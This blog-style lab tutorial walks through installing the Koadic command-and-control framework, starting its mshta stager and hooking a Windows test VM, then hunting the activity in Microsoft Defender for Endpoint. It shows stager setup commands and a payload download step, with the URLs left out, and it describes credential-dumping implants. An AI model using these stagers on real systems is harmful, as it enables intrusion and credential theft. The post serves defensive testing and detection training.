Initial Access – Attacking and Defending MDE

Roses are red, Violets are blue, and if initial access has been successfully done, your network is probably gone.

Managing a comprehensive security product and control can be complicated, requiring a cumbersome environment and device configuration before an end-to-end attack simulation can be done. Adding to the complexity is tracking where the simulation activities, alerts, and results are reflected during the evaluation.

The Microsoft Defender for Endpoint LAB – the MDE LAB is a series that gives you a perspective of how the attacker’s actions can be done, focusing on testing the MDE capabilities platform, running various simulations, and seeing the prevention, detection, and remediation features in action. With the simplified practice, you can focus on running your security test scenarios and see how Microsft Defender for Endpoint can identify, protect, and investigate an incident.

Attacking and Defending MDE: LAB References

This post explores specific offensive techniques for obtaining a foothold within a target environment by creating and successfully delivering malicious action. I will also explore the detection and investigation strategies employed to spot these using our detection stacks. The following scenario is a step-by-step guide to recreating the demos from that Initial Access and exercises to further the reader’s understanding of the concepts shown for Microsoft Defender for Endpoint.

Note: I will assume basic familiarity with Linux (WSL), Windows command line, and MDE knowledge.

The offensive tool demonstrated below is a specific offensive tool, and if you’re familiar with other offensive tools, you can try it with this lab. But remember that some of the investigation examples won’t be the same.

Code Execution – Attacking and Defending MDE

Koadic Offensive Tool

Koadic is a great tool to demonstrate behavior-based detections. It is an exciting way of leveraging technologies built into the Windows devices such as Windows Script Host and the COM. COM and WSH fall into the general category of living-off-the-land (LOTL) tools, allowing adversaries to proxy their toolset’s execution through built-in Windows programs. The Koadic post-exploitation toolkit is an alternative to tools like Meterpreter and PowerShell Empire. While there are differences in how payloads are delivered and exploited, Koadic provides a fully-featured environment to perform tasks remotely on an exploited Windows system. The tool offers two main categories of functions within the program: stagers and implants.

Koadic is good enough for mature threat groups such as APT28 and has received frequent updates over the last couple of years.
Below are the main Koadic features for stagers, implants, and then used by the threat group.

Initial Access, Tactic TA0001 – Enterprise | MITRE ATT&CK® consists of techniques that use various entry vectors to gain their initial foothold within a network. Footholds gained through initial access may allow for continued access, like valid accounts and external remote services, or limited use due to changing passwords. Methods used to gain a foothold include targeted spearphishing and exploiting weaknesses on public-facing web servers.

Validating parent-child process relationships is a valuable technique for hunting and building detections. As attacker activity becomes more evasive, however, we also require flexibility as defenders. This example shows the value of tracking process ancestry, which lets us maintain state and track complete process genealogy. This is essential because it goes beyond the typical parent-child process paradigm that many languages are limited to.

The initial side

Stagers are used to create remote-access connections through different Windows-based processes (in this lab via hta payload), and implants are used to complete tasks on systems already connected as zombie machines over the stager connection. These implants can execute commands, retrieve system keys and password hashes, and even play audio on the zombie device.
TIP: By tracking additional descendant processes, MDE defenders can follow process chains infinitely down the process tree. This provides more freedom in expressing suspicious behavior together while also allowing tighter controls around process ancestry.

Initial Access - Attacking and Defending MDE
Image from White-Paper_KOADIC

In this example, Koadic is installed on a Linux system. However, it will potentially run on any Unix-like shell environment, such as WSL on Windows 10 and higher. To begin using Koadic, it first needs to be downloaded and installed.

Defense Evasion

Offensive tools like Koadic usually include usability features that help facilitate payload building, also known as stagers. These small pieces of code get executed on the victim machine and establish a network connection to the attacker to bring in a staged payload for execution. Stagers represent a vital part of the early stages of the intrusion process. The following example explores the detection strategy for various Windows utilities used to proxy execution with Koadic stagers. More information – Mshta (T1170), Rundll32 (T1085)


Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to guide follow-on behavior. Adversaries may attempt to list other systems by IP address, hostname, or other logical identifiers on a network used for Lateral Movement from the current system.
More information –  Account Discovery (T1087), Remote System Discovery (T1096)

LAB Process

This MDE lab includes several references about the initial access, the Koadic tool, the requirements, and essential information before proceeding to the guide itself.
In this Att^ck & D3fend: Initial Acce§s – MDE LA8S will deploy a Koadic and weaponized with HTA file. Koadic is defined by the author as a COM Command & Control framework focused on post-exploitation. The component Object Model is an interface used for achieving inter-process communication.
Koadic relies heavily on COM objects to:

  • Perform privilege escalation attacks.
  • Establish persistence. Move laterally.

This exercise will aim to understand the behavior of such tools concerning the relations between created processes and network connections. More specifically, we will hunt for suspicious binaries that generate network connections.
The lab is required a specific Windows machine, Linux, and tools. Here are the

  • Attacker VM with WSL-based Windows 10
  • Koadic tool installed on the attacker VM
  • Victim VM-based Windows 10 with MDE Sensor

Listener & Payload Setup

Koadic is available from zerosum0x0’s GitHub page. The source code can be downloaded on systems with Git already installed by running the command below in a WSL terminal window.
First, we will start setting the attacker VM with the Koadic listener. Once the source code is downloaded, cloned, and set, we can run cd koadic to move into the new Koadic directory. Once we’re in the Koadic folder, we can use PIP to install the Python requirements. These requirements are listed in the “requirements.txt” file within the Koadic directory, so we’ll use this as an argument for pip3, as shown in the command below.
The setup of the tool is relatively straightforward:

git clone
cd koadic
pip3 install -r requirements.txt

With the ‘info’ command, you should be able to see the options of default for the ‘mshta’ stager:

TIP: you can modify the options using ‘set OPTION-NAME VALUE.’ For example, to alter the port Koadic will listen on, you can use: ‘set SRVPORT 4444’.
Koadic functions similarly to other frameworks, and you may be familiar with Metasploit, and as such, it allows for individual modules to be loaded and configured. Once a module is selected, parameters can be set, and then the module can be run. In this lab, we won’t set additional options.

TIP: Koadic provides autocomplete by pressing Tab, making searching for and finding commands a little easier.

Let’s begin by loading the mshta stager by running the command below. Use ‘execute’ to start the listener and generate a stager. The output will be something like the following:

(koadic: sta/js/mshta)$ use stager/js/mshta
(koadic: sta/js/mshta)$ execute
[+] Spawned a stager at
[>] mshta
(koadic: sta/js/mshta)$

Note: the stager address will be your IP address
TIP: we can also load the mshta stager by running the command below, “use stager/js/mshta.”

Once the module is selected, parameters can be set, and then the module can be run. Koadic also provides autocomplete triggered by pressing the Tab, making it a little easier to search for and find commands.

The stager allows us to define where any “zombie” devices access the Koadic command and control. Once the stager is selected, we can view some of these available settings by running info.
TIP: The stager allows us to define where any “zombie” devices access the Koadic command and control. Once the stager is selected, we can view some of these available settings by running info.


From the output you received above, extract the endpoint after ‘mshta.’ This example will be The address will be your IP address and the “Endpoint” value.
A  victim device can be connected to the Koadic “mshta” staging server by running just one line on the command prompt. This command, similar to the one shown below, will begin with mshta, followed by the IP and port of the staging server. The command can also be retrieved from the Koadic command log, as shown after running the stager.
Use the following Linux command to extract the content of the endpoint and save it to an HTA file:


Once this command is run, the Victim-VM (Windows device) will be connected to the command and control as a zombie. After the command is run, we can confirm that zombies are linked by running zombies within the Koadic console.
Let’s return to the Koadic (attacker-VM) and check for zombies. Why is the status “Dead”? 😱

This device is already hooked (it looks like it or should) but not yet elevated. Do you’ve got “Alive” status for your victim-VM? The one with the MDE sensor? 🤦‍♂️

TIP: you can also run the following command from the victim device: “wget -O payload.hta”. Then you can move the HTA file to the Windows testing VM and test the execution by double-clicking the file. You can play with some Koadic modules for command execution or credential extraction.

TIP: in addition, you can run an additional scenario with RunDll32 based on the following command:

MDE Exercises

The MDE exercises in question mode. To check how Defender for Endpoint identified, prevented, and blocked this attack and also provides rich investigation, make sure we are running the following exercises:
Zombie testing – Identify the attacker and if the victim hooked successfully.
Was the attack successful? Has contact been made with the attacker? Was the session status still alive? If yes, for how long time? If the MDE is configured well, it should be blocked this attack and won’t allow device hooking. 

The MDE should identify and raise an alert and incident for this action.

You should drill down to the alert story and start the investigation from this alert. As we can see, we’ve got the main Koadic features with LOTL and Discovery actions.
TIP: we can dive deeply into this story and each specific action.

TIP: if you drill down into this attack, you should notice that it and its actions are blocked immediately and automatically without involvement.

Can you identify any binary commonly used for code execution being spawned?
You should be able to see at least one case of Mshta and RunDll32 being launched due to this attack. Usage of these binaries on its own might not be malicious, as the Windows system and other applications commonly use them. Let’s continue the hunt.

Note: if you use the rundll command, you should see it on the MDE alerts.

If you go into the alert, you will recognize the running command and its findings and remediations. This time, the action is the same for Recon and LOTL.

For each suspicious binary, analyze the process’s command-line arguments to determine whether it’s benign. In the same alert and incident you previously identified, you should be able to view, for example, RunDll32 arguments. The alert story will show the process launched on the victim-VM and the evidence, including the action before and after running the rundll command.

You would run a simple query from the hunting console to search for rundll, process actions, and devices.

What type of attack was carried out? And whether it is a linked attack. Because I ran the payload with two different commands, the MDE notified you about the multistage attack. Still, for the same kind of attack, if the attack successfully ran on the victim VM and didn’t prevent it, the MDE was not configured correctly (for sure).

Is the zombie alive for a long time and not closed immediately? If everything went fine on the victim-VM, your MDE isn’t configured well, and you should be able to see a new “zombie” that checked in within Koadic. “Zombie” is the term used to describe a compromised host. As we were notified, the MDE blocked this attack immediately.

Have stagers successfully initiated in your windows ten device? If MDE is configured well, it wouldn’t be able to be initiated successfully.


Deploying MDE sensors is not enough to protect machines. We need to ensure that the MDE configuration is fully configured to detect and stop various attacks, for example, as we saw in the current lab with the KOADIC tool. The MDE must be in automatic blocking and prevention mode to eliminate such situations and not run on the device. The lab we ran provides indications about attack tools, preparing and running an attack tool, and a basic understanding of an attacker with attack steps like discovery, LOTL, and more.

Leave a Reply

error: Content is Protected !!
%d bloggers like this: